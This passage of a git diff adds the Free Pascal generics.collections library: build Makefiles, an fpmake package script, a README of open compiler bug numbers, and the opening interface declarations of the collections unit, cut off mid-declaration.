$(SOURCESUFFIX) + @$(ECHO) TargetSuffix. $(TARGETSUFFIX) + @$(ECHO) FPC fpmake... $(FPCFPMAKE) + @$(ECHO) + @$(ECHO) == Directory info == + @$(ECHO) + @$(ECHO) Required pkgs... $(REQUIRE_PACKAGES) + @$(ECHO) + @$(ECHO) Basedir......... $(BASEDIR) + @$(ECHO) FPCDir.......... $(FPCDIR) + @$(ECHO) CrossBinDir..... $(CROSSBINDIR) + @$(ECHO) UnitsDir........ $(UNITSDIR) + @$(ECHO) PackagesDir..... $(PACKAGESDIR) + @$(ECHO) + @$(ECHO) GCC library..... $(GCCLIBDIR) + @$(ECHO) Other library... $(OTHERLIBDIR) + @$(ECHO) + @$(ECHO) == Tools info == + @$(ECHO) + @$(ECHO) As........ $(AS) + @$(ECHO) Ld........ $(LD) + @$(ECHO) Ar........ $(AR) + @$(ECHO) Rc........ $(RC) + @$(ECHO) + @$(ECHO) Mv........ $(MVPROG) + @$(ECHO) Cp........ $(CPPROG) + @$(ECHO) Rm........ $(RMPROG) + @$(ECHO) GInstall.. $(GINSTALL) + @$(ECHO) Echo...... $(ECHO) + @$(ECHO) Shell..... $(SHELL) + @$(ECHO) Date...... $(DATE) + @$(ECHO) FPCMake... $(FPCMAKE) + @$(ECHO) PPUMove... $(PPUMOVE) + @$(ECHO) Zip....... $(ZIPPROG) + @$(ECHO) + @$(ECHO) == Object info == + @$(ECHO) + @$(ECHO) Target Loaders........ $(TARGET_LOADERS) + @$(ECHO) Target Units.......... $(TARGET_UNITS) + @$(ECHO) Target Implicit Units. $(TARGET_IMPLICITUNITS) + @$(ECHO) Target Programs....... $(TARGET_PROGRAMS) + @$(ECHO) Target Dirs........... $(TARGET_DIRS) + @$(ECHO) Target Examples....... $(TARGET_EXAMPLES) + @$(ECHO) Target ExampleDirs.... $(TARGET_EXAMPLEDIRS) + @$(ECHO) + @$(ECHO) Clean Units......... $(CLEAN_UNITS) + @$(ECHO) Clean Files......... $(CLEAN_FILES) + @$(ECHO) + @$(ECHO) Install Units....... $(INSTALL_UNITS) + @$(ECHO) Install Files....... $(INSTALL_FILES) + @$(ECHO) + @$(ECHO) == Install info == + @$(ECHO) + @$(ECHO) DateStr.............. $(DATESTR) + @$(ECHO) ZipName.............. $(ZIPNAME) + @$(ECHO) ZipPrefix............ $(ZIPPREFIX) + @$(ECHO) ZipCrossPrefix....... $(ZIPCROSSPREFIX) + @$(ECHO) ZipSuffix............ $(ZIPSUFFIX) + @$(ECHO) FullZipName.......... $(FULLZIPNAME) + @$(ECHO) Install FPC Package.. $(INSTALL_FPCPACKAGE) + @$(ECHO) + @$(ECHO) Install base dir..... $(INSTALL_BASEDIR) + @$(ECHO) Install binary dir... $(INSTALL_BINDIR) + @$(ECHO) Install library dir.. $(INSTALL_LIBDIR) + @$(ECHO) Install units dir.... $(INSTALL_UNITDIR) + @$(ECHO) Install source dir... $(INSTALL_SOURCEDIR) + @$(ECHO) Install doc dir...... $(INSTALL_DOCDIR) + @$(ECHO) Install example dir.. $(INSTALL_EXAMPLEDIR) + @$(ECHO) Install data dir..... $(INSTALL_DATADIR) + @$(ECHO) + @$(ECHO) Dist destination dir. $(DIST_DESTDIR) + @$(ECHO) Dist zip name........ $(DIST_ZIPNAME) + @$(ECHO) +.PHONY: fpc_info +fpc_info: $(INFORULES) +.PHONY: fpc_makefile fpc_makefiles fpc_makefile_sub1 fpc_makefile_sub2 \ + fpc_makefile_dirs +fpc_makefile: + $(FPCMAKE) -w -T$(OS_TARGET) Makefile.fpc +fpc_makefile_sub1: +ifdef TARGET_DIRS + $(FPCMAKE) -w -T$(OS_TARGET) $(addsuffix /Makefile.fpc,$(TARGET_DIRS)) +endif +ifdef TARGET_EXAMPLEDIRS + $(FPCMAKE) -w -T$(OS_TARGET) $(addsuffix /Makefile.fpc,$(TARGET_EXAMPLEDIRS)) +endif +fpc_makefile_sub2: $(addsuffix _makefile_dirs,$(TARGET_DIRS) $(TARGET_EXAMPLEDIRS)) +fpc_makefile_dirs: fpc_makefile_sub1 fpc_makefile_sub2 +fpc_makefiles: fpc_makefile fpc_makefile_dirs +units: +examples: +shared: +sourceinstall: fpc_sourceinstall +exampleinstall: fpc_exampleinstall +zipexampleinstall: fpc_zipexampleinstall +info: fpc_info +makefiles: fpc_makefiles +.PHONY: units examples shared sourceinstall exampleinstall zipexampleinstall info makefiles +ifneq ($(wildcard fpcmake.loc),) +include fpcmake.loc +endif +override FPCOPT:=$(filter-out -FU%,$(FPCOPT)) +override FPCOPT:=$(filter-out -FE%,$(FPCOPT)) +override FPCOPT:=$(filter-out $(addprefix -Fu,$(COMPILER_UNITDIR)),$(FPCOPT))# Compose general fpmake-parameters +ifdef FPMAKEOPT +FPMAKE_OPT+=$(FPMAKEOPT) +endif +FPMAKE_OPT+=--localunitdir=../.. +FPMAKE_OPT+=--globalunitdir=.. +FPMAKE_OPT+=$(FPC_TARGETOPT) +FPMAKE_OPT+=$(addprefix -o ,$(FPCOPT)) +FPMAKE_OPT+=--compiler=$(FPC) +FPMAKE_OPT+=-bu +.NOTPARALLEL: +fpmake$(SRCEXEEXT): fpmake.pp + $(FPCFPMAKE) fpmake.pp $(FPMAKE_SKIP_CONFIG) $(addprefix -Fu,$(COMPILER_FPMAKE_UNITDIR)) $(FPCMAKEOPT) $(OPT) +all: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) compile $(FPMAKE_OPT) +smart: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -XX -o -CX +release: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -dRELEASE +debug: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -dDEBUG +ifeq ($(FPMAKE_BIN_CLEAN),) +clean: +else +clean: + $(FPMAKE_BIN_CLEAN) clean $(FPMAKE_OPT) +endif +ifeq ($(FPMAKE_BIN_CLEAN),) +distclean: $(addsuffix _distclean,$(TARGET_DIRS)) fpc_cleanall +else +distclean: +ifdef inUnix + { $(FPMAKE_BIN_CLEAN) distclean $(FPMAKE_OPT); if [ $$? != "0" ]; then { echo Something wrong with fpmake exectable. Remove the executable and call make recursively to recover.; $(DEL) $(FPMAKE_BIN_CLEAN); $(MAKE) fpc_cleanall; }; fi; } +else + $(FPMAKE_BIN_CLEAN) distclean $(FPMAKE_OPT) +endif + -$(DEL) $(LOCALFPMAKE) +endif +cleanall: distclean +install: fpmake$(SRCEXEEXT) +ifdef UNIXHier + $(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_PREFIX) --baseinstalldir=$(INSTALL_LIBDIR)/fpc/$(FPC_VERSION) --unitinstalldir=$(INSTALL_UNITDIR) +else + $(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_BASEDIR) --baseinstalldir=$(INSTALL_BASEDIR) --unitinstalldir=$(INSTALL_UNITDIR) +endif +distinstall: fpmake$(SRCEXEEXT) +ifdef UNIXHier + $(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_PREFIX) --baseinstalldir=$(INSTALL_LIBDIR)/fpc/$(FPC_VERSION) --unitinstalldir=$(INSTALL_UNITDIR) -ie -fsp 0 +else + $(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_BASEDIR) --baseinstalldir=$(INSTALL_BASEDIR) --unitinstalldir=$(INSTALL_UNITDIR) -ie -fsp 0 +endif +zipinstall: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) zipinstall $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) +zipdistinstall: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) zipinstall $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) -ie -fsp 0 +zipsourceinstall: fpmake$(SRCEXEEXT) +ifdef UNIXHier + $(LOCALFPMAKE) archive $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) --prefix=share/src/fpc-\$$\(PACKAGEVERSION\)/$(INSTALL_FPCSUBDIR)/\$$\(PACKAGEDIRECTORY\) +else + $(LOCALFPMAKE) archive $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) --prefix=source\\$(INSTALL_FPCSUBDIR)\\\$$\(PACKAGEDIRECTORY\) +endif diff --git a/Core/generics_collections/Makefile.fpc b/Core/generics_collections/Makefile.fpc new file mode 100755 index 0000000..06cdbe4 --- /dev/null +++ b/Core/generics_collections/Makefile.fpc @@ -0,0 +1,102 @@ +# +# Makefile.fpc for running fpmake +# + +[package] +name=googleapi +version=3.1.1 + +[require] +packages=rtl fpmkunit + +[install] +fpcpackage=y + +[default] +fpcdir=../.. + +[prerules] +FPMAKE_BIN_CLEAN=$(wildcard ./fpmake$(SRCEXEEXT)) +ifdef OS_TARGET +FPC_TARGETOPT+=--os=$(OS_TARGET) +endif +ifdef CPU_TARGET +FPC_TARGETOPT+=--cpu=$(CPU_TARGET) +endif +LOCALFPMAKE=./fpmake$(SRCEXEEXT) + +[rules] +# Do not pass the Makefile's unit and binary target locations. Fpmake uses it's own. +override FPCOPT:=$(filter-out -FU%,$(FPCOPT)) +override FPCOPT:=$(filter-out -FE%,$(FPCOPT)) +# Do not pass the package-unitdirectories. Fpmake adds those and this way they don't apear in the .fpm +override FPCOPT:=$(filter-out $(addprefix -Fu,$(COMPILER_UNITDIR)),$(FPCOPT))# Compose general fpmake-parameters +# Compose general fpmake-parameters +ifdef FPMAKEOPT +FPMAKE_OPT+=$(FPMAKEOPT) +endif +FPMAKE_OPT+=--localunitdir=../.. +FPMAKE_OPT+=--globalunitdir=.. +FPMAKE_OPT+=$(FPC_TARGETOPT) +FPMAKE_OPT+=$(addprefix -o ,$(FPCOPT)) +FPMAKE_OPT+=--compiler=$(FPC) +FPMAKE_OPT+=-bu +.NOTPARALLEL: + +fpmake$(SRCEXEEXT): fpmake.pp + $(FPCFPMAKE) fpmake.pp $(FPMAKE_SKIP_CONFIG) $(addprefix -Fu,$(COMPILER_FPMAKE_UNITDIR)) $(FPCMAKEOPT) $(OPT) +all: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) compile $(FPMAKE_OPT) +smart: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -XX -o -CX +release: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -dRELEASE +debug: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -dDEBUG +# If no fpmake exists and (dist)clean is called, do not try to build fpmake, it will +# most often fail because the dependencies are cleared. +# In case of a clean, simply do nothing +ifeq ($(FPMAKE_BIN_CLEAN),) +clean: +else +clean: + $(FPMAKE_BIN_CLEAN) clean $(FPMAKE_OPT) +endif +# In case of a distclean, perform an 'old'-style distclean. This to avoid problems +# when the package is compiled using fpcmake prior to running this clean using fpmake +ifeq ($(FPMAKE_BIN_CLEAN),) +distclean: $(addsuffix _distclean,$(TARGET_DIRS)) fpc_cleanall +else +distclean: +ifdef inUnix + { $(FPMAKE_BIN_CLEAN) distclean $(FPMAKE_OPT); if [ $$? != "0" ]; then { echo Something wrong with fpmake exectable. Remove the executable and call make recursively to recover.; $(DEL) $(FPMAKE_BIN_CLEAN); $(MAKE) fpc_cleanall; }; fi; } +else + $(FPMAKE_BIN_CLEAN) distclean $(FPMAKE_OPT) +endif + -$(DEL) $(LOCALFPMAKE) +endif +cleanall: distclean +install: fpmake$(SRCEXEEXT) +ifdef UNIXHier + $(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_PREFIX) --baseinstalldir=$(INSTALL_LIBDIR)/fpc/$(FPC_VERSION) --unitinstalldir=$(INSTALL_UNITDIR) +else + $(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_BASEDIR) --baseinstalldir=$(INSTALL_BASEDIR) --unitinstalldir=$(INSTALL_UNITDIR) +endif +# distinstall also installs the example-sources and omits the location of the source- +# files from the fpunits.cfg files. +distinstall: fpmake$(SRCEXEEXT) +ifdef UNIXHier + $(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_PREFIX) --baseinstalldir=$(INSTALL_LIBDIR)/fpc/$(FPC_VERSION) --unitinstalldir=$(INSTALL_UNITDIR) -ie -fsp 0 +else + $(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_BASEDIR) --baseinstalldir=$(INSTALL_BASEDIR) --unitinstalldir=$(INSTALL_UNITDIR) -ie -fsp 0 +endif +zipinstall: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) zipinstall $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) +zipdistinstall: fpmake$(SRCEXEEXT) + $(LOCALFPMAKE) zipinstall $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) -ie -fsp 0 +zipsourceinstall: fpmake$(SRCEXEEXT) +ifdef UNIXHier + $(LOCALFPMAKE) archive $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) --prefix=share/src/fpc-\$$\(PACKAGEVERSION\)/$(INSTALL_FPCSUBDIR)/\$$\(PACKAGEDIRECTORY\) +else + $(LOCALFPMAKE) archive $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) --prefix=source\\$(INSTALL_FPCSUBDIR)\\\$$\(PACKAGEDIRECTORY\) +endif diff --git a/Core/generics_collections/README.md b/Core/generics_collections/README.md new file mode 100755 index 0000000..18cf401 --- /dev/null +++ b/Core/generics_collections/README.md @@ -0,0 +1,9 @@ +# generics.collections + +FreePascal Generics.Collections library (TList, TDictionary, THashMap and more...) + +Open FPC bugs related to Generics.* : + +CRITICAL: 26030 25918, 25620, 24283 +IMPORTANT: 24097, 24285, 24286 (Similar to? 24285), 24098, 24534, 25614, 26195 +OTHER: 26484, 25593, 26181 \ No newline at end of file diff --git a/Core/generics_collections/fpmake.pp b/Core/generics_collections/fpmake.pp new file mode 100755 index 0000000..e860eef --- /dev/null +++ b/Core/generics_collections/fpmake.pp @@ -0,0 +1,78 @@ +{$ifndef ALLPACKAGES} +program fpmake; + +{$mode objfpc}{$h+} + +uses fpmkunit; +{$endif} + +Procedure add_rtl_generics(ADirectory : string); + +Var + P : TPackage; + T : TTarget; + +begin + With Installer do + begin + P:=AddPackage('rtl-generics'); + P.ShortName:='rtlg'; + P.Author := 'Maciej Izak'; + P.License := 'LGPL with modification, '; + P.HomepageURL := 'www.freepascal.org'; + P.Email := ''; + P.Description := 'Generic collection library.'; + P.NeedLibC:= false; + P.OSes := AllOSes-[embedded]; + P.Directory:=ADirectory; + P.Version:='3.1.1'; + P.Dependencies.Add('rtl-objpas'); + P.SourcePath.Add('src'); + P.IncludePath.Add('src/inc'); + T:=P.Targets.AddUnit('generics.collections.pas'); + with T.Dependencies do + begin + AddUnit('generics.memoryexpanders'); + AddUnit('generics.defaults'); + AddUnit('generics.helpers'); + AddUnit('generics.strings'); + end; + T:=P.Targets.AddUnit('generics.defaults.pas'); + with T.Dependencies do + begin + AddUnit('generics.hashes'); + AddUnit('generics.strings'); + AddUnit('generics.helpers'); + end; + T:=P.Targets.AddUnit('generics.hashes.pas'); + T:=P.Targets.AddUnit('generics.helpers.pas'); + T:=P.Targets.AddUnit('generics.memoryexpanders.pas'); + T:=P.Targets.AddUnit('generics.strings.pas'); + // Examples + P.ExamplePath.Add('examples/tarraydouble'); + T:=P.Targets.AddExampleProgram('tarrayprojectdouble.lpr'); + P.ExamplePath.Add('examples/tarraysingle'); + T:=P.Targets.AddExampleProgram('tarrayprojectsingle.lpr'); + P.ExamplePath.Add('examples/tcomparer'); + T:=P.Targets.AddExampleProgram('tcomparerproject.lpr'); + P.ExamplePath.Add('examples/thashmap'); + T:=P.Targets.AddExampleProgram('thashmapproject.lpr'); + P.ExamplePath.Add('examples/thashmapcaseinsensitive'); + T:=P.Targets.AddExampleProgram('thashmapcaseinsensitive.lpr'); + P.ExamplePath.Add('examples/thashmapextendedequalitycomparer'); + T:=P.Targets.AddExampleProgram('thashmapextendedequalitycomparer.lpr'); + P.ExamplePath.Add('examples/tobjectlist'); + T:=P.Targets.AddExampleProgram('tobjectlistproject.lpr'); + P.ExamplePath.Add('examples/tqueue'); + T:=P.Targets.AddExampleProgram('tqueueproject.lpr'); + P.ExamplePath.Add('examples/tstack'); + T:=P.Targets.AddExampleProgram('tstackproject.lpr'); + end; +end; + +{$ifndef ALLPACKAGES} +begin + add_rtl_generics(''); + Installer.Run; +end. +{$endif ALLPACKAGES} diff --git a/Core/generics_collections/src/generics.collections.pas b/Core/generics_collections/src/generics.collections.pas new file mode 100755 index 0000000..092398e --- /dev/null +++ b/Core/generics_collections/src/generics.collections.pas @@ -0,0 +1,4139 @@ +{ + This file is part of the Free Pascal/NewPascal run time library. + Copyright (c) 2014 by Maciej Izak (hnb) + member of the NewPascal development team (http://newpascal.org) + + Copyright(c) 2004-2018 DaThoX + + It contains the generics collections library + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + Acknowledgment + + Thanks to Sphere 10 Software (http://sphere10.com) for sponsoring + many new types and major refactoring of entire library + + Thanks to mORMot (http://synopse.info) project for the best implementations + of hashing functions like crc32c and xxHash32 :) + + **********************************************************************} + +unit Generics.Collections; + +{$MODE DELPHI}{$H+} +{$MACRO ON} +{$COPERATORS ON} +{$DEFINE CUSTOM_DICTIONARY_CONSTRAINTS := TKey, TValue, THashFactory} +{$DEFINE OPEN_ADDRESSING_CONSTRAINTS := TKey, TValue, THashFactory, TProbeSequence} +{$DEFINE CUCKOO_CONSTRAINTS := TKey, TValue, THashFactory, TCuckooCfg} +{$DEFINE TREE_CONSTRAINTS := TKey, TValue, TInfo} +{$WARNINGS OFF} +{$HINTS OFF} +{$OVERFLOWCHECKS OFF} +{$RANGECHECKS OFF} + +interface + +uses + RtlConsts, Classes, SysUtils, Generics.MemoryExpanders, Generics.Defaults, + Generics.Helpers, Generics.Strings; + +{.$define EXTRA_WARNINGS} +{.$define ENABLE_METHODS_WITH_TEnumerableWithPointers} + +type + EAVLTree = class(Exception); + EIndexedAVLTree = class(EAVLTree); + + TDuplicates = Classes.TDuplicates; + + {$ifdef VER3_0_0} + TArray<T> = array of T; + {$endif} + + // bug #24254 workaround + // should be TArray = record class procedure Sort<T>(...) etc. + TBinarySearchResult = record + FoundIndex, CandidateIndex: SizeInt; + CompareResult: SizeInt; + end; + + TCustomArrayHelper<T> = class abstract + private + type + // bug #24282 + TComparerBugHack = TComparer<T>; + protected + // modified QuickSort from classes\lists.inc + class procedure QuickSort(var AValues: array of T; ALeft, ARight: SizeInt; const AComparer: IComparer<T>); + virtual; abstract; + public + class procedure Sort(var AValues: array of T); overload; + class procedure Sort(var AValues: array of T; + const AComparer: IComparer<T>); overload; + class procedure Sort(var AValues: array of T; + const AComparer: IComparer<T>; AIndex, ACount: SizeInt); overload; + + class function BinarySearch(constref AValues: array of T; constref AItem: T; + out ASearchResult: TBinarySearchResult; const AComparer: IComparer<T>; + AIndex, ACount: SizeInt): Boolean; virtual; abstract; overload; + class function BinarySearch(constref AValues: array of T; constref AItem: T; + out AFoundIndex: SizeInt; const AComparer: IComparer<T>; + AIndex, ACount: SizeInt): Boolean; virtual; abstract; overload; + class function BinarySearch(constref AValues: array of T; constref AItem: T; + out AFoundIndex: SizeInt; const AComparer: IComparer<T>): Boolean; overload; + class function BinarySearch(constref AValues: array of T; constref AItem: T; + out AFoundIndex: SizeInt): Boolean; overload; + class function BinarySearch(constref AValues: array of T; constref AItem: T; + out ASearchResult: TBinarySearchResult; const AComparer: IComparer<T>): Boolean; overload; + class function BinarySearch(constref AValues: array of T; constref AItem: T; + out ASearchResult: TBinarySearchResult): Boolean; overload; + end {$ifdef EXTRA_WARNINGS}experimental{$endif}; // will be renamed to TCustomArray (bug #24254) + + TArrayHelper<T> = class(TCustomArrayHelper<T>) + protected + // modified QuickSort from classes\lists.inc + class procedure QuickSort(var AValues: array of T; ALeft, ARight: SizeInt; const AComparer: IComparer<T>); override; + public + class function BinarySearch(constref AValues: array of T; constref AItem: T; + out ASearchResult: TBinarySearchResult; const AComparer: IComparer<T>; + AIndex, ACount: SizeInt): Boolean; override; overload; + class function BinarySearch(constref AValues: array of T; constref AItem: T; + out AFoundIndex: SizeInt; const AComparer: IComparer<T>; + AIndex, ACount: SizeInt): Boolean; override; overload; + end {$ifdef EXTRA_WARNINGS}experimental{$endif}; // will be renamed to TArray (bug #24254) + + TCollectionNotification = (cnAdded, cnRemoved, cnExtracted); + TCollectionNotifyEvent<T> = procedure(ASender: TObject; constref AItem: T; AAction: TCollectionNotification) + of object; + + { TEnumerator } + + TEnumerator<T> = class abstract + protected + function DoGetCurrent: T; virtual; abstract; + function DoMoveNext: boolean; virtual; abstract; + public + property Current: T read DoGetCurrent; + function MoveNext: boolean; + end; + + { TEnumerable } + + TEnumerable<T> = class abstract + public type + PT = ^T; + protected // no forward generics declarations (needed by TPointersCollection<T, PT>), this should be moved into TEnumerableWithPointers + function GetPtrEnumerator: TEnumerator<PT>; virtual; abstract; + protected + function ToArrayImpl(ACount: SizeInt): TArray<T>; overload; // used by descendants + protected + function DoGetEnumerator: TEnumerator<T>; virtual; abstract; + public + function GetEnumerator: TEnumerator<T>; inline; + function ToArray: TArray<T>; virtual; overload; + end; + + // error: no memory left for TCustomPointersEnumerator<PT> version + TCustomPointersEnumerator<T, PT> = class abstract(TEnumerator<PT>); + + TCustomPointersCollection<T, PT> = object + strict private type + TLocalEnumerable = TEnumerable<T>; // compiler has bug for directly usage of TEnumerable<T> + protected + function Enumerable: TLocalEnumerable; inline; + public + function GetEnumerator: TEnumerator<PT>; + end; + + TEnumerableWithPointers<T> = class(TEnumerable<T>) + strict private type + TPointersCollection = TCustomPointersCollection<T, PT>; + PPointersCollection = ^TPointersCollection; + private + function GetPtr: PPointersCollection; inline; + public + property Ptr: PPointersCollection read GetPtr; + end; + + // More info: http://stackoverflow.com/questions/5232198/about-vectors-growth + // TODO: custom memory managers (as constraints) + {$DEFINE CUSTOM_LIST_CAPACITY_INC := Result + Result div 2} // ~approximation to golden ratio: n = n * 1.5 } + // {$DEFINE CUSTOM_LIST_CAPACITY_INC := Result * 2} // standard inc + TCustomList<T> = class abstract(TEnumerableWithPointers<T>) + public type + PT = ^T; + protected + type // bug #24282 + TArrayHelperBugHack = TArrayHelper<T>; + private + FOnNotify: TCollectionNotifyEvent<T>; + function GetCapacity: SizeInt; inline; + protected + FLength: SizeInt; + FItems: array of T; + + function PrepareAddingItem: SizeInt; virtual; + function PrepareAddingRange(ACount: SizeInt): SizeInt; virtual; + procedure Notify(constref AValue: T; ACollectionNotification: TCollectionNotification); virtual; + function DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): T; virtual; + procedure SetCapacity(AValue: SizeInt); virtual; abstract; + function GetCount: SizeInt; virtual; + public + function ToArray: TArray<T>; override; final; + + property Count: SizeInt read GetCount; + property Capacity: SizeInt read GetCapacity write SetCapacity; + property OnNotify: TCollectionNotifyEvent<T> read FOnNotify write FOnNotify; + + procedure TrimExcess; virtual; abstract; + end; + + TCustomListEnumerator<T> = class abstract(TEnumerator<T>) + private + FList: TCustomList<T>; + FIndex: SizeInt; + protected + function DoMoveNext: boolean; override; + function DoGetCurrent: T; override; + function GetCurrent: T; virtual; + public + constructor Create(AList: TCustomList<T>); + end; + + TCustomListWithPointers<T> = class(TCustomList<T>) + public type + TPointersEnumerator = class(TCustomPointersEnumerator<T, PT>) + protected + FList: TCustomListWithPointers<T>; + FIndex: SizeInt; + function DoMoveNext: boolean; override; + function DoGetCurrent: PT; override; + public + constructor Create(AList: TCustomListWithPointers<T>); + end; + protected + function GetPtrEnumerator: TEnumerator<PT>; override; + end; + + TList<T> = class(TCustomListWithPointers<T>) + private var + FComparer: IComparer<T>; + protected + // bug #24287 - workaround for generics type name conflict (Identifier not found) + // next bug workaround - for another error related to previous workaround + // change order (method must be declared before TEnumerator declaration) + function DoGetEnumerator: {Generics.Collections.}TEnumerator<T>; override; + public + // with this type declaration i found #24285, #24285 + type + // bug workaround + TEnumerator = class(TCustomListEnumerator<T>); + + function GetEnumerator: TEnumerator; reintroduce; + protected + procedure SetCapacity(AValue: SizeInt); override; + procedure SetCount(AValue: SizeInt); + procedure InitializeList; virtual; + procedure InternalInsert(AIndex: SizeInt; constref AValue: T); + private + function GetItem(AIndex: SizeInt): T; + procedure SetItem(AIndex: SizeInt; const AValue: T); + public + constructor Create; overload; + constructor Create(const AComparer: IComparer<T>); overload; + constructor Create(ACollection: TEnumerable<T>); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<T>); overload; + {$ENDIF} + destructor Destroy; override; + + function Add(constref AValue: T): SizeInt; virtual; + procedure AddRange(constref AValues: array of T); virtual; overload; + procedure AddRange(const AEnumerable: IEnumerable<T>); overload; + procedure AddRange(AEnumerable: TEnumerable<T>); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + procedure AddRange(AEnumerable: TEnumerableWithPointers<T>); overload; + {$ENDIF} + + procedure Insert(AIndex: SizeInt; constref AValue: T); virtual; + procedure InsertRange(AIndex: SizeInt; constref AValues: array of T); virtual; overload; + procedure InsertRange(AIndex: SizeInt; const AEnumerable: IEnumerable<T>); overload; + procedure InsertRange(AIndex: SizeInt; const AEnumerable: TEnumerable<T>); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + procedure InsertRange(AIndex: SizeInt; const AEnumerable: TEnumerableWithPointers<T>); overload; + {$ENDIF} + + function Remove(constref AValue: T): SizeInt; + procedure Delete(AIndex: SizeInt); inline; + procedure DeleteRange(AIndex, ACount: SizeInt); + function ExtractIndex(const AIndex: SizeInt): T; overload; + function Extract(constref AValue: T): T; overload; + + procedure Exchange(AIndex1, AIndex2: SizeInt); virtual; + procedure Move(AIndex, ANewIndex: SizeInt); virtual; + + function First: T; inline; + function Last: T; inline; + + procedure Clear; + + function Contains(constref AValue: T): Boolean; inline; + function IndexOf(constref AValue: T): SizeInt; virtual; + function LastIndexOf(constref AValue: T): SizeInt; virtual; + + procedure Reverse; + + procedure TrimExcess; override; + + procedure Sort; overload; + procedure Sort(const AComparer: IComparer<T>); overload; + function BinarySearch(constref AItem: T; out AIndex: SizeInt): Boolean; overload; + function BinarySearch(constref AItem: T; out AIndex: SizeInt; const AComparer: IComparer<T>): Boolean; overload; + + property Count: SizeInt read FLength write SetCount; + property Items[Index: SizeInt]: T read GetItem write SetItem; default; + end; + + TCollectionSortStyle = (cssNone,cssUser,cssAuto); + TCollectionSortStyles = Set of TCollectionSortStyle; + + TSortedList<T> = class(TList<T>) + private + FDuplicates: TDuplicates; + FSortStyle: TCollectionSortStyle; + function GetSorted: boolean; + procedure SetSorted(AValue: boolean); + procedure SetSortStyle(AValue: TCollectionSortStyle); + protected + procedure InitializeList; override; + public + function Add(constref AValue: T): SizeInt; override; overload; + procedure AddRange(constref AValues: array of T); override; overload; + procedure Insert(AIndex: SizeInt; constref AValue: T); override; + procedure Exchange(AIndex1, AIndex2: SizeInt); override; + procedure Move(AIndex, ANewIndex: SizeInt); override; + procedure InsertRange(AIndex: SizeInt; constref AValues: array of T); override; overload; + property Duplicates: TDuplicates read FDuplicates write FDuplicates; + property Sorted: Boolean read GetSorted write SetSorted; + property SortStyle: TCollectionSortStyle read FSortStyle write SetSortStyle; + + function ConsistencyCheck(ARaiseException: boolean = true): boolean; virtual; + end; + + TThreadList<T> = class + private + FList: TList<T>; + FDuplicates: TDuplicates; + FLock: TRTLCriticalSection; + public + constructor Create; + destructor Destroy; override; + + procedure Add(constref AValue: T); + procedure Remove(constref AValue: T); + procedure Clear; + + function LockList: TList<T>; + procedure UnlockList; inline; + + property Duplicates: TDuplicates read FDuplicates write FDuplicates; + end; + + TQueue<T> = class(TCustomList<T>) + public type + TPointersEnumerator = class(TCustomPointersEnumerator<T, PT>) + protected + FQueue: TQueue<T>; + FIndex: SizeInt; + function DoMoveNext: boolean; override; + function DoGetCurrent: PT; override; + public + constructor Create(AQueue: TQueue<T>); + end; + protected + function GetPtrEnumerator: TEnumerator<PT>; override; + protected + // bug #24287 - workaround for generics type name conflict (Identifier not found) + // next bug workaround - for another error related to previous workaround + // change order (function must be declared before TEnumerator declaration} + function DoGetEnumerator: {Generics.Collections.}TEnumerator<T>; override; + public + type + TEnumerator = class(TCustomListEnumerator<T>) + public + constructor Create(AQueue: TQueue<T>); + end; + + function GetEnumerator: TEnumerator; reintroduce; + private + FLow: SizeInt; + protected + procedure SetCapacity(AValue: SizeInt); override; + function DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): T; override; + function GetCount: SizeInt; override; + public + constructor Create(ACollection: TEnumerable<T>); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<T>); overload; + {$ENDIF} + destructor Destroy; override; + procedure Enqueue(constref AValue: T); + function Dequeue: T; + function Extract: T; + function Peek: T; + procedure Clear; + procedure TrimExcess; override; + end; + + TStack<T> = class(TCustomListWithPointers<T>) + protected + // bug #24287 - workaround for generics type name conflict (Identifier not found) + // next bug workaround - for another error related to previous workaround + // change order (function must be declared before TEnumerator declaration} + function DoGetEnumerator: 